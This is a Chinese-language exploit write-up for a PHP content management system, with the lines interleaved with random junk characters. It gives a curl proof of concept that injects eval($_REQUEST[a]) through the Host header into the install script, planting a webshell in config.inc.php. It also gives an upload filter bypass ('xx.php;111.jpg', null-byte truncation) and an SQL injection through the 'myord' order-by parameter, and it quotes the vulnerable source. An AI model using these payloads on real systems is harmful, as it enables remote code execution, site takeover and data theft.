注入:4 n% a+ b. b: v! x1 e$ \
! z/ u2 z+ d6 r1 E9 j$ b/ Z, h+ x之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
+ ?' G" F" a1 {, C( M
2 t' x2 {4 y! ~9 z) T鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件/ d3 D+ U0 i) m9 w3 h( m
鸡肋2: 有一定安全常识的站长都会删掉 install 目录" ?0 b! l& Z8 I- c( o
( q# s2 ~' K* l& a- l5 h: v. T
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
) P; u- \/ l" C9 w0 t4 X " E: m* v5 Y: L$ A/ w
分析:
- |, \" s; L5 s/ _
- D! H6 N/ K8 _% J1 }+ k# Z/ f 5 U" ^4 I4 r L# q5 B
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤) `0 b, R" j% }" G5 E
, l4 f7 @3 v5 ?4 r
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
$ ^: t C* b7 A* U. n* b0 f $filestr=str_replace(" ","",$filestr);
- H& `8 p& L0 r $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
- q# J( ]- y/ `. Q/ q $filestr=str_replace("DefaultDbName",$dbname,$filestr);
# R. V R$ {8 L* Z! |% G" w. P; q $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
3 k1 b/ W) t. @8 S4 d: V$ t2 Z $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
; _( ~4 ~" ?4 j2 ]$ r $filestr=str_replace("DefaultsLan","zh_cn",$filestr);5 w7 {1 A* r2 ^ _* r2 W* P8 l8 p5 b
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);; m$ k) o; `0 q* g; j, B3 e2 H
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
/ s5 X6 [9 @& d
% L, Y- [, g2 o0 b; ]! Q fwrite(fopen($ConFile,"w"),$filestr,30000);/ ~9 R6 B8 p% K9 {- c5 D% y
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^% g( F. |# d; R! B$ v" u
2 w, \% W- `* x7 Y
poc:
0 J+ Z# j$ c. A/ K# w2 j: E) S
" S3 v6 ?! q: O8 }, R+ V. B2 V8 E?
7 q" K% l- l) V" b' O; T2 L1: U& e2 R6 X# f0 `6 H8 J
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
# T3 l, \- B3 v" C# x" \1 V& i8 dshell地址: /config.inc.php
2 T/ p; ]0 X7 z( G4 q2 h: u" u跟之前的 phpcms一样 需要远程数据库; z1 _$ I- g" ?8 t% [
* m5 v3 c( B/ u6 e1 t: U——————————————————–
. S9 T9 i. x$ S5 u上传漏洞(需要进后台):
+ _% R# u" m8 h( R- q漏洞文件: /kedit/upload_cgi/upload.php
0 ?# }9 L% W' v这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用% z4 S6 {( D8 e: j# u9 j7 i
8 n+ F" M3 I" U8 b ' ^8 `6 a1 D% v, T O! t' V8 U6 l c
<?php" \9 f, k9 j) R) P3 F( ~. T
define("ROOTPATH", "../../");; C2 A- v: P- \6 J
include(ROOTPATH."includes/admin.inc.php");
1 N1 a9 C1 N9 Z, _# ]$ J% e5 S% ~ NeedAuth(0);! B( l$ N$ W! n. N) G( B
; u# K4 v7 \0 C8 F0 @ J $dt=date("Ymd",time());
9 J6 H& D; \( C7 s; V if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
6 w: V/ z4 i* |# [4 I T @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);) y7 f- s; ~ p9 m" S- I' s
}& ~8 [* H3 @* \6 t; z
' H' C' k: H5 z: y% _
//文件保存目录路径
! A0 d x& _" \* |8 n $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';: ?0 E6 n$ b9 j& K
echo $save_path;
) ]2 }7 h( W9 r0 p3 `# ? //文件保存目录URL/ [$ x+ l5 O9 R! x4 `( \
$save_url = '../../'.$_POST['attachPath'].$dt.'/';/ ~3 d1 H5 Z1 o% V( W& I' I
$ _/ ^2 K N6 `, }5 k //定义允许上传的文件扩展名
5 |- O: Y+ p/ j4 s $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
5 v7 \$ D& R2 s
. }5 z$ D6 l7 r: f* h. }& D //最大文件大小
0 L4 c' t* `$ e $max_size = 1000000;& j4 B# `: N i
. Q$ d% h" R" Y1 U0 G4 N; N8 K
//更改目录权限
* H9 y6 F9 V( m @mkdir($save_path, 0777);
7 M: h# j! ~6 L5 k$ ~& T 7 S. c O3 M4 c& L r- B' W3 V
//文件的全部路径
7 I8 h3 h- ~% O $file_path = $save_path.$_POST['fileName']; //保存文件名6 M K$ ~# g9 h5 q! s
1 d7 H8 W$ Z+ W5 }
//文件URL' c3 Q& L# F [5 J& N
$file_url = $save_url.$_POST['fileName'];2 l( t3 X) P U
//有上传文件时+ }/ V2 r X. F7 I" G8 K; H
if (empty($_FILES) === false) {- |' [( G& T/ P& Q3 |$ I7 B
8 i- i1 s' y, e$ N( l //原文件名- j2 l$ i6 i, X. @ `
$file_name = $_FILES['fileData']['name'];
* @1 v0 j3 I9 y& ] //服务器上临时文件名, J; |2 x( J: i; p. q, ]
$tmp_name = $_FILES['fileData']['tmp_name'];1 ?0 R0 A6 |8 w$ ~+ s
//文件大小9 H( r( }2 V$ A1 l8 H
$file_size = $_FILES['fileData']['size'];
7 l! g. T: a' G w //检查目录
, ]% D& e U( [$ O) j: g- d4 }6 p if (@is_dir($save_path) === false) {
$ t$ Q" L8 f3 `; h4 b# g# Q alert("上传目录不存在。");: P& q2 F% q$ @$ K# V# ^9 ?
}
' r4 ? P, P: S ]" A //检查目录写权限& M5 a* [! _$ Y* e9 o1 G7 A
if (@is_writable($save_path) === false) {& L1 D$ J- T* P7 y$ W3 M+ @
alert("上传目录没有写权限。");
5 X7 P& Q& r2 f! T _( x1 k }
8 c. A5 q' x( Q" \; R" y& q //检查是否已上传
9 Z9 A; e, t. X. g if (@is_uploaded_file($tmp_name) === false) {- a% d6 O# a, b: l
alert("临时文件可能不是上传文件。");
; s( K6 q7 H! a% U5 H6 i3 y3 o. W* _ }; [( {; P* V' d8 w; \9 a4 l
//检查文件大小
, F7 J" x% Z, J( d; D! ~ if ($file_size > $max_size) {
+ s$ F+ q$ t& o1 f alert("上传文件大小超过限制。");
0 C. V5 N5 L0 n3 P# z }) @- M; S+ x/ Q& k0 ~3 p
//获得文件扩展名
9 ]6 O0 k6 M% ]7 G* W w $temp_arr = explode(".", $_POST['fileName']);0 f0 |, ]2 Y" A* C- L" r8 m: j- B
$file_ext = array_pop($temp_arr);! y$ Y: w; C9 R# o; F
$file_ext = trim($file_ext);
% [2 U+ r& Q3 y# e $file_ext = strtolower($file_ext);4 q$ x- D) F' b" x8 h% L% [
8 ~! b3 T/ J& H- E
//检查扩展名 6 k& S% k' K7 q7 y7 [/ y, D
if (in_array($file_ext, $ext_arr) === false) {
6 Q$ L3 T$ V- u$ R! x- C alert("上传文件扩展名是不允许的扩展名。");
. f6 Z7 p( t7 P }7 \: D* B& B7 w6 O* ^
2 | @6 d/ m% K8 W* f7 ~ //移动文件
: ?3 Z, r% R2 Y7 E# S: K3 `. I //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^' E0 |; s' e4 c4 q6 ?- U
if (move_uploaded_file($tmp_name, $file_path) === false) {: `0 R( _: I4 b
alert("上传文件失败。");
: b8 \, s; n C% l. k% [" e5 ^) _3 t }/ r& J8 R! q _; K0 l& n; u0 a! p
* A5 _7 X) G7 s( J$ ~ @chmod($file_path,0666);1 a4 W R1 Q" C* C3 {; s# ~
' @" }3 x( J$ I5 M0 V8 f- z* D1 V- Y
?>
. S# E; C# {& ]3 h. z, M抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227. j- H( T2 r* q. d
2 Q8 v% Y8 j1 p3 u# O; Rapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过( b6 k$ L" ]; H
, u+ a7 l: H# s0 L7 _——————————————————
4 g% J9 }0 i- b9 B/ K% B注入漏洞:
9 L! Y# X2 @: h) p2 L. i! U漏洞文件:search/module/search.php
U- U7 m8 f6 m3 x( [( t/ J* |5 l/search/index.php?key=1&myord=1 [sqlinjection]
9 p, Y J; p b$ x |) F, i % i* Z9 N- z( h4 H1 r& B9 Z8 |
& q5 r' r! m* g4 s. U- j
<?php
3 W# f; o& D3 }# q! h // ... 省略 n 行...
1 j- U: S( T) j& l3 @% i //第18行:
. l+ R& I: Q; k% u2 l1 v $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
$ N1 t, X( T7 k, X- I4 c6 J# N! { $page=htmlspecialchars($_GET["page"]);
: u8 E3 g; d X' a* K; s! _ $myord=htmlspecialchars($_GET["myord"]);
% u4 f, ?" [0 L / a- a W" W0 }) f& n+ n
// ... 省略 n 行...
/ f! U* W0 U" a9 _9 b4 G7 N $key,$myord 两个参数带入查询
' D6 g! W# t- @) w( S( y+ Q. h5 b //第47行 $key:
' j/ L, Y, M5 n7 B
. ]2 ^. n2 n) B $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过... s9 F5 t1 |0 j8 w# ^
3 q% p# T# n/ X2 o9 ]( p //第197行 $myord
0 u3 w& |4 W- n/ n5 ]9 Y $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
9 K. a' j8 G0 L* V 8 l$ q$ h" j( G$ I) r- f) F
?>% b1 T: h2 Q, r3 u3 x/ D3 r2 T
|